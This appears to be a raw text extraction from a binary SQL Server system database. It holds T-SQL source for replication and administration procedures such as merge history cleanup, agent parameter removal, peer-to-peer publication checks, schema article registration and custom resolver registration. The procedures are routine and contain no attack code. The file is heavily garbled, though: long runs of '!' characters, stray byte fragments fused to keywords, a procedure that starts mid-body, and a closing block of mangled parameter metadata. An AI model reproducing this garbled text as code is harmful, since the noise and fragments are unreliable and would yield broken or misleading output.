    set nocount on
    
    declare @lowest_session_id_to_keep int
    declare @ts_marker binary(8)
    
    if @subid is not null
    begin
    
        if (select count(*) from dbo.MSmerge_sessions with (nolock) where subid = @subid) <= @keep_sessions
            and (select count(*) from dbo.MSmerge_history MH JOIN dbo.MSmerge_sessions MS
                    on MH.session_id = MS.session_id
                    where MS.subid=@subid
                    )<5500 --add 500 rows to the upper bound so that we don't call the cleanup for every sync when 5000 is reached
            return 0

        --only keep the latest 5000 rows for each subscription
 		select top 5000 @ts_marker = mh.timestamp 
		from dbo.MSmerge_history mh JOIN dbo.MSmerge_sessions ms ON
		mh.session_id = ms.session_id
        where ms.subid = @subid
        order by mh.timestamp desc
        
        delete dbo.MSmerge_history 
		from dbo.MSmerge_history mh JOIN dbo.MSmerge_sessions ms ON
		mh.session_id = ms.session_id
        where ms.subid = @subid
        and mh.timestamp < @ts_marker
            
        select @lowest_session_id_to_keep = session_id
        from dbo.MSmerge_sessions ms1
        where subid = @subid
        and (select count(*) from dbo.MSmerge_sessions ms2
                where ms2.subid = @subid
                and ms2.session_id > ms1.session_id) = @keep_sessions
                
        if @lowest_session_id_to_keep is null
            return 0
            
        delete from dbo.MSrepl_errors where session_id <= @lowest_session_id_to_keep
            and session_id in (select session_id from dbo.MSmerge_sessions
                                where subid = @subid)
                                
        delete from dbo.MSmerge_history where session_id <= @lowest_session_id_to_keep
            and session_id in (select session_id from dbo.MSmerge_sessions where subid = @subid)

                
        delete from dbo.MSmerge_articlehistory where session_id <= @lowest_session_id_to_keep
            and session_id in (select session_id from dbo.MSmerge_sessions
                                where subid = @subid)
                                
        delete from dbo.MSmerge_sessions where session_id <= @lowest_session_id_to_keep
            and session_id in (select session_id from dbo.MSmerge_sessions
                                where subid = @subid)
    end
    else
    begin
        delete from dbo.MSmerge_sessions where subid not in 
            (select subid from dbo.sysmergesubscriptions)
            
        delete from dbo.MSmerge_articlehistory where session_id not in 
            (select session_id from dbo.MSmerge_sessions)
            
        delete from dbo.MSmerge_history where session_id not in 
            (select session_id from dbo.MSmerge_sessions)
            
        delete from dbo.MSrepl_errors where session_id not in 
            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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
<M
AZ7$0iJ@ l8
-- Drop a/all parameter(s) of a/all profile(s) from the MSagent_parameters table
create procedure sys.sp_drop_agent_parameter (
    @profile_id int,
    @parameter_name     sysname = '%'
)
as
    set nocount on

    declare @default            bit
    declare @agent_type         int
    declare @retstatus          int
    select @retstatus = 0

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    if @parameter_name is null
    BEGIN
        RAISERROR (14043, 16, -1, '@parameter_name', 'sp_drop_agent_parameter')
        RETURN (1)
    END

    select @agent_type = agent_type, @default=def_profile
    from msdb..MSagent_profiles
    where profile_id = @profile_id

    if @default is null
    BEGIN
        RAISERROR (20066, 16, -1) -- profile not defined
        RETURN (1)
    END
    
    select @parameter_name = lower(@parameter_name collate SQL_Latin1_General_CP1_CS_AS)

    if left(@parameter_name,1) in (N'-', N'/')
        select @parameter_name = right(@parameter_name,len(@parameter_name)-1)

    /* Delete the parameters of the profile */
    delete  msdb..MSagent_parameters 
    where   right(lower(parameter_name collate SQL_Latin1_General_CP1_CS_AS),len(parameter_name)-1) like 
            @parameter_name collate SQL_Latin1_General_CP1_CS_AS
    and     profile_id = @profile_id

    if @@error <> 0
    begin
        select @retstatus = 1
        goto UNDO
    end

UNDO:
    
    return @retstatus
0J W
8CREATE PROCEDURE sys.sp_MSvalidatepeertopeerpublication
(
	@publication sysname
)
AS
BEGIN
	DECLARE @retcode 				bit,
			@publisher 				sysname,
		    @publisher_db 			sysname,
		  	@allow_sync_tran		int,
			@allow_queued_tran		int,
			@allow_dts				int,
			@allow_anonymous		int,
			@independent_agent		int,
			@repl_freq				int,
			@allow_init_from_backup	int
			
	SELECT @publisher		= publishingservername(),
		    @publisher_db	= DB_NAME()

	SELECT @allow_sync_tran = allow_sync_tran,
			@allow_queued_tran = allow_queued_tran,
			@allow_dts = allow_dts,
			@allow_anonymous = allow_anonymous,
			@independent_agent = independent_agent,
			@repl_freq = repl_freq,
			@allow_init_from_backup = allow_initialize_from_backup 
		FROM syspublications
		WHERE @publication = name

	IF @allow_sync_tran = 1
	BEGIN
		-- Peer-To-Peer publications do not support immediate updating subscribers. Please change the 'allow_sync_tran' parameter value.
		RAISERROR(20646, 16, -1, 'immediate updating subscribers', 'allow_sync_tran')
		RETURN 1
	END

	IF @allow_queued_tran = 1
	BEGIN
		-- Peer-To-Peer publications do not support queued updating subscribers. Please change the 'allow_queued_tran' parameter value.
		RAISERROR(20646, 16, -1, 'queued updating subscribers', 'allow_queued_tran')
		RETURN 1
	END

	IF @allow_dts = 1
	BEGIN
		-- Peer-To-Peer publications do not support DTS subscriptions. Please change the 'allow_dts' parameter value.
		RAISERROR(20646, 16, -1, 'DTS subscriptions', 'allow_dts')
		RETURN 1
	END

	IF @allow_anonymous = 1
	BEGIN
		-- Peer-To-Peer publications do not support anonymous subscriptions. Please change the 'allow_anonymous' parameter value.
		RAISERROR(20646, 16, -1, 'anonymous subscriptions', 'allow_anonymous')
		RETURN 1
	END

	IF @independent_agent = 0
	BEGIN
		-- Peer-To-Peer publications do not support shared agents. Please change the 'independent_agent' parameter value.
		RAISERROR(20646, 16, -1, 'shared agents', 'independent_agent')
		RETURN 1
	END

	IF @repl_freq = 1
	BEGIN
		-- Peer-To-Peer publications do not support snapshot replication. Please change the 'repl_freq' parameter value.
		RAISERROR(20646, 16, -1, 'snapshot replication', 'repl_freq')
		RETURN 1
	END

	IF @allow_init_from_backup = 0
	BEGIN
		-- Peer-To-Peer publications do not support disallowing initialize from a backup. Please change the 'allow_initialize_from_backup' parameter value.
		RAISERROR(20646, 16, -1, 'disallowing initialize from a backup', 'allow_initialize_from_backup')
		RETURN 1
	END

	RETURN 0
END
0T 
8create procedure sys.sp_helpextendedproc --- 1996/08/14 15:53
@funcname sysname = NULL
as

set nocount on

if @funcname is not null
begin
	/*
	**  Make sure the function name exists
	*/
	if not exists (select * from master.sys.all_extended_procedures
			where name = @funcname)
	begin
		raiserror(15019,-1,-1,@funcname)
		return (1)
	end
	/*print out select function name info*/
	select distinct name, dll = substring(dll_name,1,255)
	from master.sys.all_extended_procedures
	where name = @funcname
	order by name
end
else
/*
**  or print out all function name info
*/
select distinct name, dll = substring(dll_name,1,255)
	from master.sys.all_extended_procedures
	order by name

return (0) -- sp_helpextendedproc
0V 8CREATE FUNCTION sys.dm_exec_sql_text(@handle varbinary(64))
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE FNGETSQL, @handle)
0lW@ 8create procedure sys.sp_MSsetaccesslist
@publication     sysname,
@publisher         sysname,
@publisher_db    sysname
AS
    -- we don't need to do anything here since we use role based security
    return 0
0Z@ 8 
-- add it
create view sys.dm_pdw_sys_info as
select
	total_sessions,
	idle_sessions,
	active_requests,
	queued_requests,
	active_loads,
	queued_loads,
	active_backups,
	active_restores
from sys._dm_pdw_sys_info
0Z {8create function sys.dm_fts_index_keywords_by_property(
    @dbid int,
    @objid int)
returns table as return
	select 
	keyword, 
	fulltext_display_term(keyword) display_term, 
	colid column_id, 
	docid document_id,
	internalPid property_id
	from openrowset(TABLE FTCOMPINDEX, @dbid, @objid, 2) compidx 
	where compidx.internalPid > 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-#`t<r
;@0Is 8
create procedure sys.sp_MSaddmergeschemaarticle
    @pubid                              uniqueidentifier,     
    @article                            sysname,
    @source_object                      sysname,
    @type                               tinyint, 
    @description                        nvarchar(255),
    @status                             nvarchar(10),    
    @pre_creation_command               int,
    @creation_script                    nvarchar(255),
    @source_owner                       sysname,
    @destination_owner                  sysname,    
    @schema_option                      binary(8),
    @destination_object                 sysname,
    @qualified_name                     nvarchar(270),
    @publication                        sysname, 
    @snapshot_ready                     int,
    @force_invalidate_snapshot          bit,
    @processing_order                   int
AS
    SET NOCOUNT ON

    DECLARE @retcode              int
    DECLARE @objid                int     
    DECLARE @artid                uniqueidentifier
    DECLARE @bInTran              bit
    DECLARE @valid_schema_options int
    DECLARE @bump_to_80           bit
    DECLARE @qualname             nvarchar(517)
    declare @backward_comp_level  int
    
    SELECT @bInTran = 0
    SELECT @objid = OBJECT_ID(@qualified_name)
    -- We are going to bump the compatibility level anyway
    -- since we are adding schema only articles
    -- check if we need to bump up first
    select @backward_comp_level = backward_comp_level from dbo.sysmergepublications where pubid = @pubid
    if @backward_comp_level < 40
    begin
        SELECT @bump_to_80 = 1
        RAISERROR(21391, 10, -1, @publication)
    end

    /*
    ** Parameter check: Source object type must match
    ** specified article type.
    **
    */
    -- Type has to be one of 0x20, 0x40, 0xA0 or 0x80 by the time 
    -- this sp is called
    IF @type = 0x20
    BEGIN
        IF NOT EXISTS (SELECT * 
                         FROM sys.objects
                        WHERE object_id = @objid
                          AND type IN ('P','PC'))
        BEGIN
            RAISERROR(21219, 16, -1)
            RETURN (1)
        END 
                        
    END
    ELSE IF @type = 0x40
    BEGIN
        IF NOT EXISTS (SELECT *
                         FROM sys.objects
                        WHERE object_id = @objid
                          AND type = 'V ')
        BEGIN
            RAISERROR(21221, 16, -1)
            RETURN (1)
        END
    END
    ELSE IF @type = 0x80
    BEGIN
        IF NOT EXISTS (SELECT *
                         FROM sys.objects
                        WHERE object_id = @objid
                          AND type IN ('FN','TF','IF','FS','FT'))
        BEGIN
            RAISERROR(21228, 16, -1)
            RETURN (1)
        END
    END
    ELSE IF @type = 0xA0
    BEGIN
        IF NOT EXISTS (SELECT *
                         FROM sys.objects
                        WHERE object_id = @objid
                          AND type = 'SN')
        BEGIN
            RAISERROR(20812, 16, -1)
            RETURN (1)
        END
    END

    -- Since only the lower 32 bits of @schema_option are
    -- currently used, the following check is sufficient.
    -- Note that @schema_option should have been padded by now.
    DECLARE @schema_option_lodword int
    SELECT @schema_option_lodword = fn_replgetbinary8lodword(@schema_option)
    IF @type = 0x40
    BEGIN
        SELECT @valid_schema_options = 0xC9F43151
        IF (@schema_option_lodword & ~@valid_schema_options) <> 0
        BEGIN
            RAISERROR (21229, 16, -1)
            RETURN (1)
        END
    END
    ELSE
    BEGIN
        SELECT @valid_schema_options = 0xFAC03001
        IF (@schema_option_lodword & ~@valid_schema_options) <> 0
        BEGIN
            RAISERROR (21222, 16, -1)
            RETURN (1)
        END
    END

    /*
    ** Parameter check: @pre_creation_command must be
    ** 'drop' (id = 1) or 'none' (id = 0)
    */
    IF @pre_creation_command NOT IN (0, 1)
    BEGIN
        RAISERROR(21223, 16, -1)
        RETURN (1)
    END

    -- Reuse @artid from articles publishing the same object so we can
    -- link these articles together during the reinit/republishing scenario 

    SELECT @artid = NULL
    SELECT @artid = artid 
      FROM dbo.sysmergeschemaarticles 
     WHERE objid = @objid

    IF @artid IS NULL
    BEGIN
        SELECT @artid = newid()
    END

    BEGIN TRAN
    SAVE TRANSACTION sp_MSaddmergeschemaarticle
    SELECT @bInTran = 1

    IF @snapshot_ready > 0
    BEGIN
        IF @force_invalidate_snapshot = 0 and @snapshot_ready = 1
        BEGIN
            RAISERROR(21364, 16, -1, @article)
            GOTO FAILURE
        END
        if @backward_comp_level < 40
        begin
            RAISERROR(21360, 10, -1, @publication)
            SELECT @bump_to_80 = 1
        end
        UPDATE dbo.sysmergepublications 
           SET snapshot_ready=2 
         WHERE pubid=@pubid
        IF @@ERROR<>0
            GOTO FAILURE
    END

    INSERT dbo.sysmergeschemaarticles (name, type, objid, artid, description,
        pre_creation_command, pubid, status, creation_script, schema_option,
        destination_object, destination_owner, processing_order)
    VALUES (@article, @type, @objid, @artid, @description, @pre_creation_command,
        @pubid, 1, @creation_script, @schema_option, @destination_object,
        @destination_owner, @processing_order)

    IF @@ERROR <> 0
        GOTO FAILURE

    EXEC sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    IF @qualname IS NULL
        GOTO FAILURE

    EXEC %%Object(MultiName = @qualname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
    --EXEC %%Object(MultiName = @qualname).LockExclusiveMatchID(ID = @objid)
    IF @@ERROR <> 0
        GOTO FAILURE

    -- Make a bit in replinfo to prevent the source object from
    -- being dropped
    EXEC %%Object(ID = @objid).SetSchemaPublished(Value = 1)
    IF @@ERROR <> 0
        GOTO FAILURE
    
    IF @bump_to_80=1
    BEGIN
        EXEC @retcode = sys.sp_MSBumpupCompLevel @pubid, 40
        IF @@ERROR<>0 or @retcode<>0
            GOTO FAILURE
    END

    COMMIT TRANSACTION 
    
    RETURN (0)

FAILURE:

    IF @bInTran = 1
    BEGIN
        ROLLBACK TRANSACTION sp_MSaddmergeschemaarticle
        COMMIT TRANSACTION
    END       
    RETURN (1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<z	
K&s|0$@ $	8create procedure sys.sp_replmonitorsynchronize 
(
    @mode int -- 0 - get lock_refreshcheckexclusive, 1 - get lock_refreshcheckshared, 2 - release lock_refreshcheck, 3 - get lock_compute, 4 - release lock_compute
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int
                ,@lkmode nvarchar(32)

    if (@mode in (0,1))
    begin
        -- get the lock for refresh check and table update
        -- loop till you get it
        while (1=1)
        begin
            select @lkmode = case when (@mode = 0) then 'Exclusive' else 'Shared' end
            exec @retcode = sp_getapplock  @Resource =  'replmonitorrefreshcheck' 
                                 ,@LockMode =  @lkmode 
                                 ,@LockOwner =  'Session'  
                                 ,@LockTimeout =  '1000'
                                 ,@DbPrincipal =  'db_owner'
            if (@retcode in (0,1))
                return 0
            if (@retcode < -1)
                return 1
        end
        select @retcode = 1
    end
    else if (@mode = 2)
    begin
        -- release lock refresh check and table update
        exec @retcode = sp_releaseapplock  @Resource =  'replmonitorrefreshcheck' 
                             ,@LockOwner =  'Session'  
                             ,@DbPrincipal =  'db_owner'
        if (@retcode != 0)
            return 1
    end
    else if (@mode = 3)
    begin
        -- get the lock for compute instantly - no wait
        exec @retcode = sp_getapplock  @Resource =  'replmonitorcompute' 
                             ,@LockMode =  'Exclusive' 
                             ,@LockOwner =  'Session'  
                             ,@LockTimeout =  0
                             ,@DbPrincipal =  'db_owner'
        if (@retcode != 0)
            return 1
    end
    else if (@mode = 4)
    begin
        -- release lock for compute
        exec @retcode = sp_releaseapplock  @Resource =  'replmonitorcompute' 
                             ,@LockOwner =  'Session'  
                             ,@DbPrincipal =  'db_owner'
        if (@retcode != 0)
            return 1
    end
    else
        select @retcode = 1
    --
    -- all done
    --
    return @retcode
end
0k9 88!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`g<?	
K20A@ _8--
-- Name: sp_registercustomresolver
--
-- Description:  This procedure registers custom resolvers into the MSmerge_articleresolver table in the distribution database
--                     This proc should be called in the context of the distribution database                
-- 
-- Parameters: 
--     1. @article_resolver     nvarchar(255) 
--        This parameter contains the friendly name of the custom resolver or business logic handler
--     2. @resolver_clsid     nvarchar(50), 
--        This parameter must be set to a valid CLSID if registering a COM resolver and to NULL while registering a .NET Framework Assembly 
--     3. @is_dotnet_assembly nvarchar(10)
--        This parameter must be set to TRUE while registering a .NET Framework Assembly and false otherwise
--     4. @dotnet_assembly_name  nvarchar(255)
--        For business logic handlers which are .NET assemblies, this parameter either contains the name of the .NET Assembly such as 
--        "Sample Business Logic Module For Shippers.dll" if the .NET assembly is deployed into the same directory as the 
--        merge agent. Optionally a fully qualified name such as 'C:\Assemblies\COM\Resources\Sample Business Logic Module For Shippers.dll'
--        must be provided that allows the merge agent to load the .NET assembly using the fully qualified path name.
--     5. @dotnet_class_name  nvarchar(255)
--        For business logic handlers which are .NET assemblies, this parameter either contains the name of the .NET class that implements 
--        the BusinessLogicModule class such as "Microsoft.Samples.SqlServer.Replication.BusinessLogicHandler.OrderEntryBusinessLogicHandler"
--
--
create procedure sys.sp_registercustomresolver
    @article_resolver nvarchar(255),
    @resolver_clsid nvarchar(50) = NULL,         -- This must be set to a valid CLSID if registering a COM resolver and to NULL for a .NET Framework Assembly 
    @is_dotnet_assembly nvarchar(10) = 'false',  -- This flag must be set to TRUE while registering a .NET Framework Assembly 
    @dotnet_assembly_name  nvarchar(255) = NULL, -- For .NET Framework Assemblies, this parameter must be set to the name of the .NET assembly that implements the BusinessLogicModule class
    @dotnet_class_name  nvarchar(255) = NULL    -- For .NET Framework Assemblies, this parameter must be set to the name of the .NET class that implements the BusinessLogicModule class

    AS

    declare @retcode       int

    exec @retcode = sys.sp_MSreplcheck_publish
    if (@retcode <> 0 or @@error <> 0)
        return 1

    if @article_resolver IS NULL or @article_resolver = ''
    begin
        RAISERROR (21717, 16, -1)
        return 1
    end

    if LOWER(@is_dotnet_assembly collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14137, 16, -1)
           return 1
    END

    if LOWER(@is_dotnet_assembly collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    begin
        if @resolver_clsid IS NOT NULL 
        begin
            RAISERROR (21807, 16, -1)
            return 1
        end
        if @dotnet_assembly_name IS NULL or @dotnet_assembly_name = ''
        begin
            RAISERROR (21856, 16, -1, @article_resolver)
            return 1
        end
        if @dotnet_class_name IS NULL or @dotnet_class_name = ''
        begin
            RAISERROR (21808, 16, -1, @article_resolver)
            return 1
        end
        set @resolver_clsid = '00000000-0000-0000-0000-000000000000'
    end 
    else
    begin 
        if @resolver_clsid IS NULL or @resolver_clsid = ''
        begin
            RAISERROR (21718, 16, -1)
            return 1
        end
    end

    --this proc can only execute in the distribution database context
    if object_id (N'MSmerge_articleresolver') is null
    begin
        raiserror(25026, 16, -1)
        return 1
    end
    
   
    --Insert a new row into MSmerge_articleresolver if the resolver does not exist, otherwise, update it.            
    if LOWER(@is_dotnet_assembly collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    begin
         -- in the case when the resolver is a .NET resolver
         if not exists( select * from dbo.MSmerge_articleresolver where article_resolver = @article_resolver)
            insert into dbo.MSmerge_articleresolver( article_resolver, resolver_clsid, is_dotnet_assembly, dotnet_assembly_name, dotnet_class_name)
            values( @article_resolver, @resolver_clsid, 1, @dotnet_assembly_name, @dotnet_class_name)
        else
            update dbo.MSmerge_articleresolver
            set resolver_clsid = @resolver_clsid,
                 is_dotnet_assembly = 1,
                 dotnet_assembly_name = @dotnet_assembly_name,
                 dotnet_class_name = @dotnet_class_name
            where article_resolver = @article_resolver 

    end 
    else
    begin 
     -- in the case when the resolver is not a .NET resolver
         if not exists( select * from  dbo.MSmerge_articleresolver where article_resolver = @article_resolver)
            insert into dbo.MSmerge_articleresolver( article_resolver, resolver_clsid, is_dotnet_assembly, dotnet_assembly_name, dotnet_class_name)
            values( @article_resolver, @resolver_clsid, 0, NULL, NULL)
        else
            update dbo.MSmerge_articleresolver
            set resolver_clsid = @resolver_clsid,
                 is_dotnet_assembly = 0,
                 dotnet_assembly_name = NULL,
                 dotnet_class_name = NULL
            where article_resolver = @article_resolver
    end

    return @retcode
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`-H
2)&
2-60-88
Mcomponent_id0-88
Kproperty_id0-Ophysical_name0-Mlogical_name0-4Kservicename0-88
Mstartup_type0-4Wstartup_type_desc0-88
Astatus0-4Kstatus_desc0-88
Iprocess_id0-++
"
Wlast_startup_time0-4Sservice_account0-	4Efilename0-
4Mis_clustered0-4Ucluster_nodename0-46Qtransaction_id0-46@4@=name0-46==atransaction_begin_time0-4688
Utransaction_type0-46$$Stransaction_uow0-4688
Wtransaction_state0-4688
Ytransaction_status0-4688
[transaction_status20-46	88
Gdtc_state0-46
88
Idtc_status0-4688
[dtc_isolation_level0-46gfilestream_transaction_id0-h?@name0-h88
A@hours0-h88
O@session_type0-?G@loginame0-?@name0-@M@plan_handle0-88
c@statement_start_offset0-9E@tabname0-9I@indexname0-900I@outputxml0-9K@xml_output0-900Q@verboseoutput0-9C@window-UA
0-UA
E@command0-S@primary_server0-W@primary_database0-e@backup_source_directory0-o@backup_destination_directory0-Q@copy_job_name0-W@restore_job_name0-88
a@file_retention_period0-S@monitor_server0-	hho@monitor_server_security_mode0-
_@monitor_server_login0-e@monitor_server_password0-$$M@copy_job_id0-
$$S@restore_job_id0-$$O@secondary_id0-hhI@overwrite0-hh]@ignoreremotemonitor0-L?I@publisher0-L?K@subscriber0-L?00?@type0-L?A@login0-L?G@password0-L?88
Y@commit_batch_size0-L?88
Y@status_batch_size0-L?88
U@flush_frequency0-L?	88
S@frequency_type0-L?
88
[@frequency_interval0-L?88
m@frequency_relative_interval0-L?88
m@frequency_recurrence_factor0-L?
88
W@frequency_subday0-L?88
i@frequency_subday_interval0-L?88
g@active_start_time_of_day0-L?88
c@active_end_time_of_day0-L?88
Y@active_start_date0-L?88
U@active_end_date0-L?88
Q@retryattempts0-L?88
K@retrydelay0-L?M@description0-L?88
Q@security_mode0-L?hh[@encrypted_password0-L?G@internal0-G@loginame0-=@map0-W.?@dbms0-W.E@version0-W.?@type0-W.88
O@createparams0-E@article0-S@conflict_table0-I@publisher0-O@publisher_db0-M@publication0-[$$A@pubid-O)hh0-O)88
I@tablenick0-O)88
E@changed0-O)==A@today!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!q2|3gn#}$Z-edDS
hW4
a

Up'
t%D
2
		]		v0-w:GX,G`q-)D
m:0-&88
G@agent_id0-&88
I@runstatus0-&G@comments0-&88
c@delivered_transactions0-&88
[@delivered_commands0-&hhI@log_error0-&hhY@perfmon_increment0-&hh]@update_existing_row0-&	hhO@do_raiserror0-&
2Y@start_time_string0-&88
G@duration-0-S@monitor_server0-88
E@timeout0-@G@lockmode0-88
